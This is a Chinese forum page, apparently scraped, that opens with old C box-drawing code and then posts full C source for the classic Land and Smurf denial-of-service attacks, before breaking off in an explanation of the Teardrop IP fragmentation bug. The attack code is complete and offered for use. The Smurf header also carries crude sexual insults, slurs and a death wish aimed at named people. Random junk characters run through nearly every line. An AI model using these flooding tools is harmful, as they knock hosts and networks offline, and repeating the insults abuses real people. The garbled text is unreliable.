: i% v' B; z  [: u0 Y7 Zclrscr();" ]; X# v6 Y. \, \# g2 ^. L1 G
box(1,1,23,79);7 c9 n& [# \  t2 H1 P9 F
box(2,2,21,77);5 P' m: P; k" `  N& ]- P- n
box(3,3,19,75);" Z. j: N! C9 m4 R# a2 H
box(4,4,17,73);. n+ h6 X% A, A$ k
box(5,5,15,71);
. J! G5 n" q$ Mbox(6,6,13,69);& I- g4 o* m" n- @! ?9 B1 a
box(7,7,11,67);
9 n6 P8 y9 v* o! A, E2 kbox(8,8,9,65);
% i% B" L* G8 W% m8 ]box(9,9,7,63);. C, C. O% x" Q1 q
box(10,10,5,61);
6 H8 o6 G9 b# m3 m3 j( nbox(11,11,3,59);. t& _5 s) @5 ^4 E) ]  I; s+ V0 X
box(12,12,1,57);
2 v) A. ?9 j7 X  a6 Fposcur(24,1);0 R* M7 P/ m2 g8 F
}</FONT></P><><FONT color=#009900>/************************************************************9 X. B- S0 ]( V3 ]; V) o
* BOX *5 r( e% s+ o# M, A) h/ F' [3 L
*----------------------------------------------------------*" a6 I5 W; f" V3 o- C5 O
* Written by: Jeff Ebert 7/01/87 *3 }0 u* ]' E" s) v  B
* Modified by: xxxxxxxxxx *
6 L9 j2 N6 @" @+ `! B* *
# Y3 V9 ~8 W5 }4 E: D* Please modify me! *
# A* c+ D. S2 A  ^2 Q6 Y* D& K* Possible Enhancements include but are not limited t *
8 t8 b2 O* |" \7 L1 v; A9 w* 1) Variable box character styles [1 line or 2] *- T( Q4 ^! p+ s. a4 b- d
* 2) Error checking *+ Z& e) g9 H4 n% v' F" O: d3 g
* 3) Color options *+ ~& L' n. t2 M" e: `
* *
/ g' C8 @( q" I& J" l* *$ E9 e# e" O- i6 j
* This function builds a simple double frame for a menu. *8 u# M# G7 l. H/ S# _
* The function is passed the parameters for the upper *, \- c6 r3 n/ o- W# ^' ^- O
* left corner row, upper left corner column the height *6 b" n$ e6 Z+ ?9 l& U
* of the frame and the width. *
' u$ F4 K5 [3 l4 i8 i" X+ @* *; y+ K7 k: V, R4 ?4 W- d
************************************************************/$ B% V+ J' o* C8 \- @) i+ T
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201/ ^$ r2 @' J  V! n: P: T( Y) M
#define URCOR 187
/ s! _& d, T+ f& v, P) r* K#define LLCOR 200
, @6 l# |! Z) P* Y; z6 z% c#define LRCOR 188. x, e' ~9 D* [5 p% B. e( c" d
#define VBAR 186& M) e+ e7 `$ H' ~. ]
#define HBAR 205
- \+ D. _  s1 o4 f/ J& q$ v( t' S2 K#define ESC 27</FONT></P><><FONT color=#009900>
6 A1 |2 a# T  m0 s/ r4 ^box(row, col, hgt, wdth)
6 b3 u+ M2 N) a$ n5 f, H, T; \int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{* b& X, P) N8 ]& `# _& \
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);: ~0 Y* d3 N# L
putchar(ULCOR);
" `: k# N7 H: q4 cfor(x = col + 1; x &lt;=(col + wdth -1); x++)+ A- e: @( m# C( d1 M/ M
putchar(HBAR);9 Z7 K4 S7 T. x
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){4 E  C9 d# y5 w& o
poscur(x,col);
6 x. A4 X9 ~8 J0 }5 L2 ]putchar(VBAR);, G, h7 Z: e4 l7 |& R0 A% c. ]4 r
poscur(x,col+wdth);1 e4 h' w3 T  ~; I5 C1 z
putchar(VBAR);" D0 i3 {+ q  l& z0 \
}
; x) W! y# D$ ~" n2 o; Cposcur(x,col);
5 R* M# g! y) i1 @putchar(LLCOR);
' _2 I$ ?, q* ?; sfor(x= col + 1; x &lt;=(col + wdth -1); x++)( r& y6 F% d# j4 p6 y; _
putchar(HBAR);- n2 B' G+ l' w: y
putchar(LRCOR);. O  _& T) V/ k0 X4 i% x
}</FONT></P><><FONT color=#009900>/********************************************************
0 f! t! M0 u2 R* POSCUR *- `: B9 p& W. [# Q9 j+ W% ?
*------------------------------------------------------*
- a# d- `' [0 y6 [+ P2 Y* This function positions the cursor at the specified *% O! Q5 b3 G4 r0 z) H
* x,y coordinate. It uses the ANSI standard ESCAPE *
5 R+ o+ I0 T7 k% {* sequence to produce the desired effect. Its not the *
6 i) I- x+ y4 [$ v4 B* fastest way to position the cursor, but perhaps the *
$ |2 l# O1 F& L6 R: i7 G  m6 `& \8 j* most portable. *! O3 D! n/ F( ^2 M+ l! Q8 Z* }
* *
! J- Y! W5 O! {2 e********************************************************/
: J, P3 O+ C8 f0 ~& X1 Kposcur(xcor,ycor)
% z! ?+ u. @0 K" k+ Aint xcor,ycor;2 |: P- ^/ X0 F7 C, N* S" w4 L
{ 0 ^& H" a5 Z$ {7 ?, }% F( Z4 J" U
printf("%c[%d;%dH",ESC,xcor,ycor);: ?" @/ v3 S( O: z) h0 }
}</FONT></P><><FONT color=#009900>6 R  O4 F4 S3 y# c
/********************************************************7 H: k( c! R$ Q1 w
* CLRSCR *
4 {5 T5 L. W0 u% {/ e- y! ~*------------------------------------------------------*) T  ]1 ~4 M2 M0 N
* This function positions the cursor at the specified *8 }5 u# H* B3 Y0 a5 ~- `1 L* ]/ E
* x,y coordinate. It uses the ANSI standard ESCAPE *
! [/ G/ n" h  B( O' h* sequence to produce the desired effect. Its not the *
0 v* x- {& C3 v" a  _+ x* fastest way to position the cursor, but perhaps the *
" _, R! N" y1 [' ^* E% ?* most portable. *- i9 s4 ]8 B4 ~' m0 M  X8 P) Q! W& o
* *8 ~+ {( A* X' S0 W7 g) J
********************************************************/5 t: {5 z$ T1 g1 q( [9 ^
clrscr()4 k3 v) P: d  T( }( |/ e- P5 r. l! p
{ ; Z3 |# A2 Z4 l. R. V8 H
printf("%c[2J",ESC);* {, N6 w, O/ s, F7 K5 B. F& S4 W
}</FONT>% c. M" m4 f( O- |+ U# N: G
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
6 D& D7 [* j( j这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
  G+ ^4 Z$ R# j4 {己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
: r1 I0 U: h0 H, n4 {  K<FONT color=#009900>/* land.c by m3lt, FLC; ~$ _5 ?3 \1 z; t( v3 c  q. }
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>. n  F' S8 ]/ G
#include <NETDB.H>  u7 E" t: ^* t5 h* }1 |
#include <ARPA inet.h>( {% v8 e, ]  a
#include <NETINET in.h>
6 D& S4 D7 ?. O. r( R& l#include <SYS types.h>
8 K# P/ v. d8 z) f! R#include <SYS socket.h>7 P; n. t0 i9 d5 {, O. D
#include <NETINET ip.h>
4 j7 T0 P) h. P& B: r% [. d3 e#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
- r& P+ l; X1 t+ G' o& P6 `$ j6 r- E( Wstruct pseudohdr
5 A. \1 s( q& y{. F" Y6 u% I- x+ H( w
struct in_addr saddr;& L1 P2 D& c! t
struct in_addr daddr;5 l- E$ }& a1 _6 v5 [( c& S
u_char zero;& J5 D: O8 F" T9 l9 e) h! I# j2 a
u_char protocol;
3 h; J/ k' P) i/ u7 G2 ju_short length;0 O3 H( Y# ]2 _  h5 _. o1 X
struct tcphdr tcpheader;$ x$ v3 m( W% z
};</FONT></P><><FONT color=#009900>//计算IP校验和
0 e* S5 h) I, W- M1 i% l. Tu_short checksum(u_short * data,u_short length)& Z$ F  g4 f# `; w; ?: R8 L! D, z
{
! N: y- O- J+ A( R5 H- [register long value;1 N5 W" Q9 ~. f# S) ?
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)4 v+ y2 J5 D; y* N' U$ L5 p/ ^: J
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1). }/ i4 `1 {7 Q* Y4 O  ~
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
- R" p) J. T' v  ?3 h}</FONT></P><><FONT color=#009900>* j4 E- e- J+ J1 b
int main(int argc,char * * argv)2 \  S) V# h7 w; I9 x5 e+ i6 q  _
{3 H, U8 l" a$ j2 W( R' p
struct sockaddr_in sin;, |+ ~+ V/ F7 ]& ~
struct hostent * hoste;, j( V8 t/ e4 x. d4 l
int sock;4 t( I8 ^0 |0 b, Q
char buffer[40];5 n4 l& p1 P2 D2 _
struct iphdr * ipheader=(struct iphdr *) buffer;: a" a  U' R' U" ?7 G% Q! k: G4 l- J
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));3 R7 j' A$ W$ {. k! L& T
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
( {( Y1 I) [" h7 `2 C, {/ Z6 |{
$ _9 F; _2 H% w* I* P& E3 z2 }% ofprintf(stderr,"usage: %s IP port\n",argv[0]);8 l7 F! h$ @' [! a
return(-1);
, s+ n% `. o: C3 S: a  C; C}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));5 H9 s$ N5 ~8 @# e
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
7 W& ^( e. }9 ^bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
& _+ F2 @/ P5 ]2 ~( Qelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1), x: s5 b: e9 K# `4 `* c
{
% h2 ~! H8 [3 {0 G5 h2 k' Efprintf(stderr,"unknown host %s\n",argv[1]);
& e$ U3 V  m1 Z* Treturn(-1);
  n! E( k1 w$ m7 G& g  m3 m}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0): m) d5 F" e5 }3 i- v2 |, X5 G
{
5 X! M: M$ y' j. i1 Q/ v* ^fprintf(stderr,"unknown port %s\n",argv[2]);
6 X$ _. |% M2 V7 c8 s, Q1 d( Q8 w+ [return(-1);9 Q+ U  l) m. C7 B2 |7 [# h$ u* O5 X
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
; i% L  y% @0 O+ P; w9 ?/ u( J2 p! z' lif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
3 P0 H  s( t3 t{
5 Z- |+ V. `- K% D3 l3 S0 X+ c" Kfprintf(stderr,"couldn't allocate raw socket\n");
3 j1 q6 k8 ?: M8 greturn(-1);) p! _7 t  n3 G6 V4 ~- q3 [7 U, m
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));& P6 |) e" Z: F3 t
ipheader-&gt;version=4;
2 y* D4 d# G2 c+ [ipheader-&gt;ihl=sizeof(struct iphdr)/4;: ?: V9 I& |; `4 k* [  N
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));0 A7 g/ o$ c( v. G3 ^
ipheader-&gt;id=htons(0xF1C);
. T1 a. E$ o' s" E' dipheader-&gt;ttl=255;; m+ k. n+ l- l! T7 [' ?
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同! `& s7 G1 g! C( T
ipheader-&gt;saddr=sin.sin_addr.s_addr;
& |; x" `* r4 ~0 S# p- _; ^1 Oipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
3 h; ^9 n0 x5 J; Ntcpheader-&gt;th_sport=sin.sin_port;) A: Q0 Z4 W! d; R1 u0 v5 }
tcpheader-&gt;th_dport=sin.sin_port;2 |9 _6 Q8 V  U, w' O1 |
tcpheader-&gt;th_seq=htonl(0xF1C);7 ~. g. U! U& m) ?" z% d7 p
tcpheader-&gt;th_flags=TH_SYN;- j9 M1 e: v* S. ?  j; f+ E
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;, ~" b; v) o: Z0 [% I) o
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));# w+ U" n$ M9 [& o& P, m1 q0 |8 w
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;) ~. ?% c1 [" U7 \9 A' _+ t
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
5 [5 Y  w/ R7 |pseudoheader.protocol=6;
) g: n" {) j9 K. g8 b4 ~9 Vpseudoheader.length=htons(sizeof(struct tcphdr));4 i% y$ b# W1 J% n) C6 h' j7 G; @# p& ?
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));: n/ @5 L% V% z$ C' |% q
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),/ V9 i- v  `) X: x
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
; I% ~' n! y& z& c/ K% B- y{
3 V% @% q1 X0 K- J$ jfprintf(stderr,"couldn't send packet\n");
, d5 b2 X0 N0 ]5 Y0 E1 Qreturn(-1);1 j9 m0 G3 _4 u  N9 ?1 F9 }
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
( d# r& b5 ?* c  ]# l6 {return(0);" k5 F  D2 F* Y+ c3 k, c
}</FONT></P><>5 p" h, W( d4 d8 ~
2 Smurf, o2 s4 H  J6 w/ d
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
# i2 E  X; ?& @) C( {. g据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包4 b) Q, T( X- |" E8 Q" p% w
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
% N/ L1 C! s+ g# ricmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
6 R7 R, n; b0 k4 ?7 k(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变% v" k" b# j8 z" F% c6 M  P! G
成不可能(没有WINS服务器时)。</P><P>/*
- {& u  C" X: g+ c' ]9 r*5 S: ]9 r: r0 j3 k1 e" h1 Y
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
1 ~$ l4 b" w, ^4 X+ C) D*
( b5 Q* _. ^1 c0 E8 a7 `% B* spoofs icmp packets from a host to various broadcast addresses resulting9 W/ U9 |% h0 i- M, |0 v
* in multiple replies to that host from a single packet.
: x, R1 J/ v5 \! N9 T6 L*
& W- P+ V- U$ d, m0 r0 X& z0 \* mad head t
1 M  O* B( }7 Z' \* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
7 K: V; m4 _3 h) H  i1 Y& i, ?* MissSatan for swallowing, napster for pimping my sister, the guy that3 h- Y$ i" R6 R" x9 Q* |
* invented vaseline, fyber for trying, knowy, old school #havok, kain
0 p. g" B% o) j6 c0 P6 t0 R* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
' e4 z) e$ l0 q* have missed (you know who you are).  v; v3 z; I: m) [3 D$ |
*' e$ V; _) j+ h3 V1 N
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
+ ~  m0 Z5 |2 J) ?* U* thing he is (he's -almost- as stubborn as me, still i managed to pick up/ l5 G2 N" m2 U3 W9 v1 [/ r
* half the cheque).
3 J9 ~! J2 z6 r1 K/ \*! S$ o. c0 x3 U  @' `* ~3 e, R% W/ O
* and a special hi to Todd, face it dude, you're fucking awesome.
1 f- }9 ?8 N; `0 I2 T( Q*
" p, e" Z2 p  P" K* mad anal t  q( G# [0 L3 N' n$ y# A) B
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
: O0 V$ y0 p4 i& ]. N: _/ f5 ^* because they plain suck, Rolex for being a twit, everyone that
4 ]' Y. R; m+ P- U7 q& o* trades warez, Caren for being a lesbian hoe, AcidKill for being her% i) x3 r* S& e7 d
* partner, #cha0s, sedriss for having an ego in inverse proportion to
! X0 w8 S. Y, a2 ^/ k: |2 H! t* ^: x* his penis and anyone that can't pee standing up -- you don't know what
  s0 g1 ]8 g, I8 R) N4 \* your missing out on.
2 ]0 {6 q# N# w: e/ P  a*, L. @5 }. E$ j6 Y
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
4 p& ^5 p+ G4 l- v  |3 T8 e, {3 K* interesting).8 n8 A8 c9 q4 K
*5 O1 O4 M5 |! n$ F4 \; M' L
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
' _- A: R4 J" O3 q! ^7 }* Robbins for trying to steal my girlfriend. Not only did you show me
! V1 b0 o6 F& u% {2 V* no respect but you're a manipulating prick who tried to take away the
5 ]' g9 P) x) }" b9 x* most important thing in the world to me with no guilt whatsoever, and
7 \$ H8 m/ F) s' g/ [3 f* for that I wish you nothing but pain. Die.
9 l9 o0 w3 t3 O1 k5 q$ U' e** }( v, Y3 l: \2 u
* disclaimer:) T: [% m5 i9 ]2 v
* I cannot and will not be held responsible nor legally bound for the
7 V1 N1 p. r! e0 X5 B; N* malicious activities of individuals who come into possession of this
" B  X1 p. b7 L* program and I refuse to provide help or support of any kind and do NOT+ r% \) `3 }4 h! ~+ o* ~& v
* condone use of this program to deny service to anyone or any machine.8 g8 R$ a  g6 s  g. ~
* This is for educational use only. Please Don't abuse this.
" k' [% q$ U6 h: M*
3 I* d/ g  P, y) n( T' J* Well, i really, really, hate this code, but yet here I am creating another
' n. m. q) E% h7 o% ~, P4 N* disgusting version of it. Odd, indeed. So why did I write it? Well, I,) q) v: V/ P' |5 @! f( E
* like most programmers don't like seeing bugs in their code. I saw a few5 M3 F3 p+ s, \3 P
* things that should have been done better or needed fixing so I fixed
! U: [3 e' v3 e1 {; M# c* them. -shrug-, programming for me as always seemed to take the pain away
4 z' L. {; I- e( \% R) r* ...6 k  m; v* t+ L' d
*
$ }; [7 m& J# ]# H2 G*8 n1 y& w! i* P6 w* {
*/</P><P>#include <SIGNAL.H>
9 D- z# P0 i: h  F/ w6 @( U) D/ E#include <STDIO.H>
; F7 u; N; A( [& H#include <STDLIB.H>: m: ?1 X3 H6 g6 e% E
#include <SYS socket.h>" b+ O( Q! v/ V& z- z( N
#include <SYS types.h>
3 X/ J) o6 ~) d$ x4 ]+ ]#include <NETINET in.h>
4 A6 D) x9 K% t#include <NETINET ip.h>
: V0 ?( d3 M/ G/ v5 f#include <NETINET ip_icmp.h>
* o! m! r4 Y& U1 @: p! h5 v#include <NETDB.H>) ?9 P0 s9 l4 C; o- L
#include <CTYPE.H>
+ s& Q8 V" r/ [3 W) H1 d7 V3 D#include <ARPA inet.h>
( ~1 L8 ]5 p( D; s0 u# C#include <UNISTD.H>
' ^4 i+ a& w# _#include <STRING.H></P><P>void banner(void);5 _) a1 k; g( u; k
void usage(char *);* s2 F* j$ _7 V
void smurf(int, struct sockaddr_in, u_long, int);
# m) W7 l, M6 d# w6 `, fvoid ctrlc(int);) t3 Z' T  p- `8 T$ ^( m. x
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */8 k  C5 E! d! n; v; j6 e5 ?* _: ~
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
3 E( w' ]8 V) k9 E( E: u{9 J9 Q. S5 t) o& J( e$ L
struct sockaddr_in sin;0 D  o% ], Y* Q% j$ U
struct hostent *he;9 A% N0 K/ H8 {6 R+ ?  |" @+ G
FILE *bcastfile;
! E8 ~6 o7 E8 G$ P2 k4 ?' J" D: Lint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
3 K6 |' g4 G  g3 x+ i, B( H4 ]char buf[32], **bcastaddr = malloc(8192);</P><P>banner();/ y6 ?+ U9 h* q/ |; Z$ w8 a
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {5 I* [6 Y5 M" f) `# A
perror("resolving source host");3 y! J5 S( T$ v7 m+ f' G: \( ^
exit(-1);+ C. n$ u  Z3 J( l9 M1 p1 j, n
}7 E  W$ y: m4 J8 b* D6 P
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
, `) Z2 M2 N& D1 J* psin.sin_family = AF_INET;
; x! O  ~: N1 l4 B$ E. O! A$ asin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
1 g% r' ?1 D  @6 A- D$ m; ^delay = atoi(argv[4]);
* W$ q, _) f2 n' \) @- Z8 x+ @pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
: g" O9 @( D+ D, ^. k. q  hperror("opening bcast file");7 I: t; f$ l3 E( o+ a
exit(-1);1 F. r2 `/ K! m
}
/ Z/ Y& V+ e( r& Q+ R. Tx = 0;
8 B- x" P. q: ]6 Z& \3 mwhile (!feof(bcastfile)) {
% e" [6 J$ |/ N& F6 K; k" Xfgets(buf, 32, bcastfile);
" O: O2 \5 r7 Hif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
3 M& n# W7 y; R( e$ z) n, z0 Bfor (i = 0; i &lt; strlen(buf); i++). P* Q: F" @4 q
if (buf == '\n') buf = '\0';
2 g9 T/ I6 G6 tbcastaddr[x] = malloc(32);' T4 B8 U* C) ?! t9 M% H& }6 |
strcpy(bcastaddr[x], buf);
% z# F& R2 U! J( dx++;4 x" P: R, J9 ]
}) V+ s( @$ u" j
bcastaddr[x] = 0x0;
+ `' o% M* Z: N" |& s+ `fclose(bcastfile);</P><P>if (x == 0) {
6 f4 j  r3 [4 j# s  K2 T" ufprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);" k0 D1 w4 T7 {9 {- {
exit(-1);
# R1 `1 M- h, Z/ R}
: X' Y, ?9 S4 e! o" r6 Y5 Eif (pktsize &gt; 1024) {3 o" a! v- S" q2 [' \4 o1 S
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
0 @4 w  C  Q' Q; e: }7 v, gexit(-1);' h0 P9 N7 x6 |: f
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
2 `1 n2 \4 U9 K! C2 i. d  ~  Y, hperror("getting socket");5 f8 {0 `  r: r0 V. Y' ?/ ~7 |
exit(-1);% _- J! R; V. S. h3 F" o9 t
}5 r/ y0 z# r9 i2 [6 j9 @4 j5 V
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {5 g3 E$ z+ v* |" \- h
if (!(i % 25)) { printf("."); fflush(stdout); }9 i5 m" h% p; S4 @( i& h/ L
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);2 R$ [3 }" x: s# H9 K" C. ~
cycle++;8 A: w2 i) E$ h( ]& c0 `5 b9 h
if (bcastaddr[cycle] == 0x0) cycle = 0;: H' h  H/ [+ B! x
usleep(delay);
8 s/ F4 C0 D+ ~2 \}6 T! o3 D! f' G3 R
puts("\n\n");
5 E' S" y+ ^# j8 ^2 Q' ?return 0;9 c% M2 K8 a+ }" n6 v
}</P><P>void banner (void)  m8 ?3 G: ]! H: J- A
{
# ]2 w/ [/ W; `7 \! m& Hputs("\nsmurf.c v4.0 by TFreak\n");8 g$ j4 }% n4 ~
}</P><P>void usage (char *prog)
( j7 s: \/ B% t; `% v{
9 S% t9 [0 o# M  L" F) c6 `fprintf(stderr, "usage: %s <TARGET><BCAST file>"
9 w- t$ c+ k  @3 Q( V: s* |"<NUM packets> <PACKET delay><PACKET size>\n\n"
1 F. W% n9 p2 B$ n# Y* x! c"target = address to hit\n"
6 g8 w7 t5 b  u$ p2 V  d- C( w/ {"bcast file = file to read broadcast addresses from\n"% m2 [: L: a  I, |+ v
"num packets = number of packets to send (0 = flood)\n"
. c* z8 _. y! ~/ l"packet delay = wait between each packet (in ms)\n"- G. C$ \) L# _0 j
"packet size = size of packet (&lt; 1024)\n\n", prog);
! e0 x3 h! i. L: pexit(-1);) n* f# T, l/ I/ U
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)% @* X5 ~6 s4 O5 Q1 ^$ T  |
{
/ c* {9 a8 k0 V% \. V( ^struct iphdr *ip;0 x4 b4 S: R- ?: O  ~
struct icmphdr *icmp;
5 n- V5 N" J1 ^  t) k& S' P' Dchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
/ V  Z* R; V  S1 g& iip = (struct iphdr *)packet;
( H1 l7 a6 ?  H2 J; y0 R% \0 Cicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
$ [% m2 D2 S0 |5 a1 |ip-&gt;ihl = 5;! L$ g% j4 |2 W+ Q; M
ip-&gt;version = 4;
6 C# f7 r" h. y% wip-&gt;ttl = 255;) U- Q3 f$ I% K
ip-&gt;tos = 0;5 U9 h2 H% ?: p$ y! K3 q
ip-&gt;frag_off = 0;, ~! g! l3 ~: _* C
ip-&gt;protocol = IPPROTO_ICMP;
  k+ T; {7 A, _2 ^4 ~! I" hip-&gt;saddr = sin.sin_addr.s_addr;9 _, O+ i: X' Z1 x
ip-&gt;daddr = dest;
7 U9 S7 i: F$ I5 G0 t2 }- x1 sip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
- |& G7 ^" h8 Licmp-&gt;type = 8;) `& t# ~. A4 E1 P: B- ?8 ^  G8 z
icmp-&gt;code = 0;
0 z$ Z; X& k  B8 ficmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,0 a& u2 k& z/ U; ~! j
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */: G& i, p4 Y  l
}</P><P>void ctrlc (int ignored)
& l$ C8 I, y# A1 L4 N* O{
9 m* ]. Q* |& x! |* dputs("\nDone!\n");
9 K$ Y8 o- l8 x9 b+ _* c: V" E4 Qexit(1);- P2 l4 F6 D* J$ S+ \6 Z* \
}</P><P>unsigned short in_chksum (u_short *addr, int len)
6 l6 \+ n( e* }9 ~- r5 F{" b0 L9 a. M; y# i9 T0 P
register int nleft = len;) S) l# |# j( g
register int sum = 0;2 Q2 C( N; j, E5 Q
u_short answer = 0;</P><P>while (nleft &gt; 1) {# L% p. n- ?* l$ F* E# g
sum += *addr++;
6 u' p: v5 Z" Y- i2 lnleft -= 2;7 {1 V; |7 V; B1 O, V* S, d: F( ?
}</P><P>if (nleft == 1) {
1 f5 a8 F* Y# N+ i, [7 g0 C*(u_char *)(&amp;answer) = *(u_char *)addr;
! r0 b% d0 i( G& G8 ssum += answer;5 J- S; z  d/ y# I: T
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
& a& c7 W% C6 O; bsum += (sum &gt;&gt; 16);
- k& W* P7 Y& V% I* n% @, g. Fanswer = ~sum;: x2 N/ ^4 e" P( A3 E0 d% x
return(answer);7 v. D' v- |8 j& S* Z& ?
}</P><P>. s% }. z# i# d8 P1 t
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:. w; R+ [8 U  o( U1 ?, I$ r
fp = qp-&gt;fragments;' _- ~& T& |3 A% l* g* f/ }
while(fp != NULL)
/ w9 R& O& ?8 S6 X{/ p+ \* m# |* |5 f) S' w
if(count+fp-&gt;len &gt; skb-&gt;len)
- ~6 J0 m3 {9 S3 Q0 ^0 n{9 x/ V' m3 r: D9 [5 g' f& C
error_to_big;
% `7 a& d& X% ~2 O9 F) B}
! c) H' B% d2 {/ v9 ]( X, vmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
7 T* C- u! n/ r  P) @% k/ z2 @count += fp-&gt;len;
  O2 U! K: q" S( |8 Dfp = fp-&gt;next;
7 |% ?6 [$ r3 O' ~2 Q}7 M7 W4 t( h( t. B, Y
这里只检查了长度过大的情况,而没有考虑长度过小的情况,, N3 l# P1 Y9 k6 {' E0 d* ]
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:7 e; g1 M7 A4 U8 ^, M- N, {
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
; p) Y9 o# g- F: d$ s1 }是这样处理的:
) E% V. [4 _. o8 g8 a  h6 D8 Wif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
% l, k" ^) W3 J* {$ A$ W{. E9 v& }* J$ i3 M! n
